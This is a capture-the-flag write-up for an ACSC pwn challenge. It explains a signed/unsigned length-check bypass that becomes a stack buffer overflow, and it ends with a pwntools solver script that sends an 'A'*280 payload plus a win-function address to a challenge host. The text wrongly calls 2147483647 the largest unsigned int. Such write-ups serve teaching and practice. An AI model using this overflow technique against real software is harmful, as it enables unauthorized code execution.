Filter invalid sizes to make it secure!
Backup: nc 167.99.78.201 9001
nc filtered.chal.acsc.asia 9001
Solution
First, the user is asked for the data length. If the length is more than 0x100, the program exits.
int length;
char buf[0x100];
/* Read and check length */
length = readint("Size: ");
if (length > 0x100) {
print("Buffer overflow detected!\n");
exit(1);
}
/* Read data */
readline("Data: ", buf, length);
print("Bye!\n");
The length is read using atoi():
/* Print `msg` and read an integer value */
int readint(const char *msg) {
char buf[0x10];
readline(msg, buf, 0x10);
return atoi(buf);
}
I came across this thread. Using 2147483648, an integer overflow is caused since the largest unsigned int is 2147483647. Therefore, length will be a negative signed integer, passing the length check.
However, when calling readline(), the length is passed to a size_t argument.
/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
char c;
print(msg);
for (size_t i = 0; i < size; i++) {
if (read(0, &c, 1) <= 0) {
print("I/O Error\n");
exit(1);
} else if (c == '\n') {
buf[i] = '\0';
break;
} else {
buf[i] = c;
}
}
}
Now, size_t is unsigned, so the permitted size would instead become a large positive integer. We can try this experiment ourselves:
int main() {
int length = atoi("2147483648");
printf("%d\n", length);
size_t size = length;
printf("%zu\n", length);
}
The output would be:
-2147483648
2147483648
From here, this is a regular buffer overflow challenge. The offset is 280, and we want to jump to the win function here:
0x004011d6 1 65 sym.win
Solver script:
from pwn import*conn =remote("167.99.78.201", 9001)print(conn.recvuntil(b"Size:"))conn.send(b"2147483648\r\n")print(conn.recvuntil(b"Data:"))conn.send(b"A"*280+p64(0x004011d6) +b"\r\n")conn.interactive()